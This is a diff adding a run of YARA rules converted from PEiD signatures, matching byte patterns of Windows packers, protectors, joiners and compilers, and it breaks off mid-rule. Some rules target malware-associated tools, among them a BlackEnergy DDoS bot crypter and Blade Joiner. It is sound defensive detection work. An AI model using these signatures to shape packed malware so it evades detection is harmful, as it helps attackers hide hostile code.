+rule PEiD_00278_AVP_Inspector_Database_
+{
+    meta:
+        description = "[AVP Inspector Database]"
+        ep_only = "false"
+    strings:
+        $a = {47 68 6F 73 74 20 42 75 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00279_AVPACK_v1_20_
+{
+    meta:
+        description = "[AVPACK v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00280_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+    condition:
+        $a
+}
+
+rule PEiD_00281_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+    condition:
+        $a
+}
+
+rule PEiD_00282_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "false"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00283_AZProtect_0x0001____AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0x0001 -> AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00284_AZProtect_
+{
+    meta:
+        description = "[AZProtect]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+    condition:
+        $a
+}
+
+rule PEiD_00285_BamBam_0_01_
+{
+    meta:
+        description = "[BamBam 0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00286_bambam_V0_01____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00287_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00288_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00289_BamBam_v0_01_
+{
+    meta:
+        description = "[BamBam v0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00290_bambam_V0_04____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00291_bambam_V0_04____bedrock_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00292_BDC_HelpSystem_Help_file_
+{
+    meta:
+        description = "[BDC HelpSystem Help file]"
+        ep_only = "false"
+    strings:
+        $a = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_00293_beria_v0_07_public_WIP____symbiont__h__
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont (h)]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+    condition:
+        $a
+}
+
+rule PEiD_00294_beria_v0_07_public_WIP____symbiont_
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+    condition:
+        $a
+}
+
+rule PEiD_00295_Berio_1_00_beta__h__
+{
+    meta:
+        description = "[Berio 1.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00296_Berio_2_00_beta__h__
+{
+    meta:
+        description = "[Berio 2.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+    condition:
+        $a
+}
+
+rule PEiD_00297_BeRo_Tiny_Pascal____BeRo_
+{
+    meta:
+        description = "[BeRo Tiny Pascal -> BeRo]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+    condition:
+        $a
+}
+
+rule PEiD_00298_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a
+}
+
+rule PEiD_00299_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00300_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a
+}
+
+rule PEiD_00301_BeRoEXEPacker_v1_00__LZMA__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a
+}
+
+rule PEiD_00302_BeRoEXEPacker_V1_00____BeRo___Sign_by_fly_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00303_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "false"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00304_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00305_BeRoEXEPacker_V1_00____BeRo_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00306_BeRoEXEPacker_v1_00__LZBRR__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRR]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a
+}
+rule PEiD_00307_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00308_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00309_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00310_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a
+}
+
+rule PEiD_00311_BGI_Stroked_Font_v_1_1_
+{
+    meta:
+        description = "[BGI Stroked Font v.1.1]"
+        ep_only = "false"
+    strings:
+        $a = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+    condition:
+        $a
+}
+
+rule PEiD_00312_BlackEnergy_DDoS_Bot_Crypter_
+{
+    meta:
+        description = "[BlackEnergy DDoS Bot Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00313_Blade_Joiner_v1_5_
+{
+    meta:
+        description = "[Blade Joiner v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_00314_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00315_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00316_BobPack_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[BobPack v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+    condition:
+        $a
+}
+
+rule PEiD_00317_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00318_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00319_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00320_BookManager_v9510_
+{
+    meta:
+        description = "[BookManager v9510]"
+        ep_only = "true"
+    strings:
+        $a = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+    condition:
+        $a
+}
+
+rule PEiD_00321_BopCrypt_v1_0_
+{
+    meta:
+        description = "[BopCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00322_Borland_C___Borland_Builder_
+{
+    meta:
+        description = "[Borland C / Borland Builder]"
+        ep_only = "false"
+    strings:
+        $a = {3B CF 76 05 2B CF FC F3 AA 59}
+    condition:
+        $a
+}
+
+rule PEiD_00323_Borland_C___1991_
+{
+    meta:
+        description = "[Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+    condition:
+        $a
+}
+
+rule PEiD_00324_Borland_C___1992__1994_
+{
+    meta:
+        description = "[Borland C++ 1992, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+    condition:
+        $a
+}
+
+rule PEiD_00325_Borland_C___1994_
+{
+    meta:
+        description = "[Borland C++ 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+    condition:
+        $a
+}
+
+rule PEiD_00326_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00327_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00328_Borland_C___DLL_
+{
+    meta:
